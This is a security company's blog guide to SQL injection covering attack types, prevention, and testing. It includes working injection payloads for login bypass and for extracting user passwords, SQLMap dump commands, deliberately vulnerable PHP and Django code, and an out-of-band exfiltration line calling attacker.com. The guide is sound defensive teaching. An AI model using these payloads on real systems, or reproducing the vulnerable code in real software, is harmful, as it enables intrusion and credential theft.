Blog

SQL Injection Attacks: Complete Guide 2024 - Examples, Prevention & Testing

JP
John Price
January 27, 2024
Share

SQL injection (SQLi) remains one of the most dangerous and prevalent web application vulnerabilities nearly 25 years after its discovery. Despite widespread awareness and available defenses, SQL injection continues appearing in OWASP Top 10 lists and causing major data breaches affecting millions of users. This comprehensive guide explains what SQL injection is, how attackers exploit it with detailed examples, the different types of SQL injection attacks, famous real-world breaches, complete prevention strategies, and testing methodologies for securing web applications against this persistent threat.

What is SQL Injection? Clear Definition

SQL injection (SQLi) is a code injection attack where attackers insert malicious SQL statements into application input fields, manipulating the backend database queries executed by the application. This allows attackers to bypass authentication, retrieve sensitive data, modify database contents, execute administrative operations, and in some cases, compromise the entire database server.

Why it works: Applications vulnerable to SQL injection fail to properly sanitize user input before incorporating it into SQL queries, treating attacker-controlled data as executable code rather than data.

How SQL Injection Works: Simple Example

Vulnerable Application Code

Consider a simple login form checking username and password:

```php // VULNERABLE CODE - Never use this! $username = $_POST['username']; $password = $_POST['password']; $query = "SELECT * FROM users WHERE username='$username' AND password='$password'"; $result = mysqli_query($connection, $query); if (mysqli_num_rows($result) > 0) { echo "Login successful!"; } ```

Normal User Login

Input: Username: `john`, Password: `mypass123`

Resulting query:

```sql SELECT * FROM users WHERE username='john' AND password='mypass123' ```

Behavior: Query returns John's record if credentials correct; login succeeds

SQL Injection Attack

Input: Username: `admin'--`, Password: `anything`

Resulting query:

```sql SELECT * FROM users WHERE username='admin'--' AND password='anything' ```

What happened:

Types of SQL Injection Attacks

1. In-Band SQL Injection (Classic SQLi)

Definition: Attacker uses same communication channel for both attack and results retrieval

Union-Based SQLi:

Uses UNION SQL operator to combine malicious query results with legitimate query

```sql -- Original query SELECT title, description FROM products WHERE id=5 -- Injection payload ' UNION SELECT username, password FROM users-- -- Final query SELECT title, description FROM products WHERE id=5' UNION SELECT username, password FROM users--' ```

Result: Application displays product information alongside usernames/passwords from users table

Error-Based SQLi:

Triggers database errors revealing structure and data

```sql ' AND 1=CONVERT(int, (SELECT TOP 1 username FROM users))-- ```

Result: Error message reveals username from database

2. Blind SQL Injection

Definition: Application doesn't display database results or errors; attacker infers information from application behavior

Boolean-Based Blind SQLi:

Tests true/false conditions observing different application responses

```sql -- Test if database user is 'root' ' AND (SELECT USER())='root'-- -- If page displays normally: condition is TRUE (user is root) -- If page shows error or different content: condition is FALSE ```

Time-Based Blind SQLi:

Uses database sleep functions to confirm vulnerabilities

```sql -- MySQL example ' AND SLEEP(5)-- -- If page takes 5 extra seconds to respond: vulnerable to SQLi -- Extract data one character at a time using conditional delays ```

3. Out-of-Band SQL Injection

Definition: Uses different channel (DNS, HTTP) for data exfiltration when application doesn't directly return results

```sql -- Microsoft SQL Server example '; EXEC xp_dirtree '\\\\attacker.com\\share'-- -- Database makes DNS query to attacker-controlled server -- Attacker receives data through DNS lookups ```

Famous SQL Injection Attacks: Real-World Impact

Sony Pictures (2011)

Heartland Payment Systems (2008)

TalkTalk (2015)

Complete SQL Injection Prevention Guide

1. Use Parameterized Queries (Prepared Statements)

The primary defense: Separates SQL code from user data

Vulnerable code (PHP):

```php // NEVER DO THIS $query = "SELECT * FROM users WHERE username='$username' AND password='$password'"; ```

Secure code (PHP with PDO):

```php // SECURE - Use prepared statements $stmt = $pdo->prepare("SELECT * FROM users WHERE username=? AND password=?"); $stmt->execute([$username, $password]); ```

Why this works: Database treats `?` placeholders as data, never as executable code. User input cannot alter query structure.

2. Input Validation and Sanitization

Whitelist approach: Only allow expected characters

```python import re def validate_username(username): # Only allow alphanumeric and underscore if re.match(r'^[a-zA-Z0-9_]+$', username): return username else: raise ValueError("Invalid username format") ```

Input validation rules:

3. Least Privilege Database Accounts

Principle: Application should use database account with minimal necessary permissions

```sql -- Create limited application user CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password'; -- Grant only SELECT, INSERT, UPDATE on specific tables GRANT SELECT, INSERT, UPDATE ON myapp.users TO 'webapp'@'localhost'; GRANT SELECT ON myapp.products TO 'webapp'@'localhost'; -- Do NOT grant DROP, DELETE, or administrative privileges ```

Impact: Even if SQL injection succeeds, attacker limited to operations application account can perform

4. Use Stored Procedures

Concept: Pre-compiled SQL code stored in database

```sql -- Create stored procedure CREATE PROCEDURE authenticate_user(IN p_username VARCHAR(50), IN p_password VARCHAR(255)) BEGIN SELECT * FROM users WHERE username = p_username AND password = p_password; END; -- Application calls procedure CALL authenticate_user('john', 'mypass123'); ```

Benefit: Input parameters treated as data, not code

5. Web Application Firewall (WAF)

Purpose: Filter malicious HTTP requests before reaching application

Popular WAF solutions:

6. Regular Security Testing

Testing for SQL Injection Vulnerabilities

Manual Testing Techniques

Step 1: Identify injection points

Step 2: Test with special characters

``` ' (single quote) " (double quote) ` (backtick) -- (comment) # (comment) ; (query terminator) ```

Step 3: Boolean testing

```sql ' OR '1'='1 ' OR '1'='1'-- ' OR 1=1-- ```

Step 4: Union-based testing

```sql ' UNION SELECT NULL-- ' UNION SELECT NULL, NULL-- ' UNION SELECT username, password FROM users-- ```

Automated SQL Injection Testing Tools

SQLMap (Most Popular):

```bash # Basic SQLMap scan sqlmap -u "http://target.com/page?id=1" --batch # Enumerate databases sqlmap -u "http://target.com/page?id=1" --dbs # Dump specific table sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump ```

Other Testing Tools:

Advanced SQL Injection Techniques

Second-Order SQL Injection

Malicious SQL stored in database, executed later when retrieved by application:

  1. Attacker creates account with username: `admin'--`
  2. Username stored in database (application sanitizes during INSERT)
  3. Later, application retrieves and uses username in another query WITHOUT sanitization
  4. Second query vulnerable when using stored malicious data

NoSQL Injection

Similar concept for NoSQL databases (MongoDB, CouchDB)

```javascript // Vulnerable MongoDB query db.users.find({username: req.body.username, password: req.body.password}) // Attack payload {"username": {"$ne": null}, "password": {"$ne": null}} // Results in: find all users where username NOT null AND password NOT null // Returns all user records, bypassing authentication ```

WAF Bypass Techniques

Attackers use obfuscation to evade Web Application Firewalls:

Impact and Consequences of SQL Injection

Data Breach Consequences

Business Impact

SQL Injection Prevention Checklist

Development Phase

Testing Phase

Deployment Phase

Ongoing Operations

Secure Coding Examples: Language-Specific

PHP with PDO

```php // SECURE $stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email'); $stmt->execute(['email' => $user_email]); $user = $stmt->fetch(); ```

Python with parameterized queries

```python # SECURE cursor.execute("SELECT * FROM users WHERE email = %s", (user_email,)) user = cursor.fetchone() ```

Java with PreparedStatement

```java // SECURE String query = "SELECT * FROM users WHERE email = ?"; PreparedStatement stmt = connection.prepareStatement(query); stmt.setString(1, userEmail); ResultSet rs = stmt.executeQuery(); ```

Node.js with parameterized queries

```javascript // SECURE const query = 'SELECT * FROM users WHERE email = ?'; connection.query(query, [userEmail], (err, results) => { // Handle results }); ```

Detecting SQL Injection in Production

Warning Signs of SQL Injection Attempts

Monitoring and Detection Tools

SQL Injection Testing During Penetration Tests

Professional Testing Methodology

  1. Reconnaissance: Identify all input vectors (forms, URLs, APIs)
  2. Fingerprinting: Determine database type (MySQL, PostgreSQL, MSSQL, Oracle)
  3. Vulnerability confirmation: Test for SQL injection using safe payloads
  4. Exploitation: Demonstrate impact (data retrieval with authorization)
  5. Documentation: Detailed report with proof-of-concept and remediation

Ethical Testing Boundaries

During authorized penetration tests:

SQL Injection in APIs and Modern Applications

GraphQL Injection

GraphQL APIs can be vulnerable if queries constructed from user input:

```graphql query { user(id: "1' OR '1'='1") { name email } } ```

Prevention: GraphQL libraries typically prevent this, but custom resolvers may be vulnerable

ORM Injection

Even ORMs (Object-Relational Mappers) can be vulnerable with raw queries:

```python # VULNERABLE - Django ORM with raw() method User.objects.raw("SELECT * FROM users WHERE username = '%s'" % user_input) # SECURE - Parameterized even with raw() User.objects.raw("SELECT * FROM users WHERE username = %s", [user_input]) ```

Frequently Asked Questions

Is SQL injection still relevant in 2024?

Absolutely. Despite being well-known for 25+ years, SQL injection remains in OWASP Top 10 and causes major breaches annually. Reasons for persistence: legacy applications never updated, developers unaware of secure coding practices, rapid development prioritizing speed over security, and third-party components containing vulnerabilities. Vigilance remains critical.

Can SQL injection be detected by antivirus?

No, antivirus software protects against malware on your computer, not web application vulnerabilities. SQL injection occurs on web servers, not client devices. Detection requires Web Application Firewalls (WAF), security scanners, or penetration testing—not antivirus.

Do all SQL databases have injection vulnerabilities?

All SQL databases (MySQL, PostgreSQL, MSSQL, Oracle, SQLite) can be exploited through SQL injection if applications using them are coded insecurely. The vulnerability exists in the APPLICATION code, not the database itself. Secure coding practices prevent SQL injection regardless of database platform.

Conclusion: Eliminating SQL Injection Risk

SQL injection remains one of the most dangerous yet preventable web application vulnerabilities. The solution is well-established: use parameterized queries, validate input, apply least privilege, and test regularly. Yet SQL injection persists due to development practices prioritizing speed over security, lack of security training, and failure to implement known defenses.

Organizations must prioritize secure development practices: mandatory use of parameterized queries, security-focused code reviews, automated scanning in CI/CD pipelines, and regular penetration testing. The effort required to prevent SQL injection is minimal compared to breach costs—both technical implementation (parameterized queries take no extra development time) and cultural (security awareness and training).

subrosa provides comprehensive application security services including web application penetration testing identifying SQL injection and other OWASP Top 10 vulnerabilities, secure code review identifying dangerous patterns before production deployment, security consulting implementing secure development lifecycles, and developer security training covering SQL injection prevention and secure coding practices. Schedule a consultation to discuss application security testing and secure development for your organization.

Ready to strengthen your security posture?

Have questions about this article or need expert cybersecurity guidance? Connect with our team to discuss your security needs.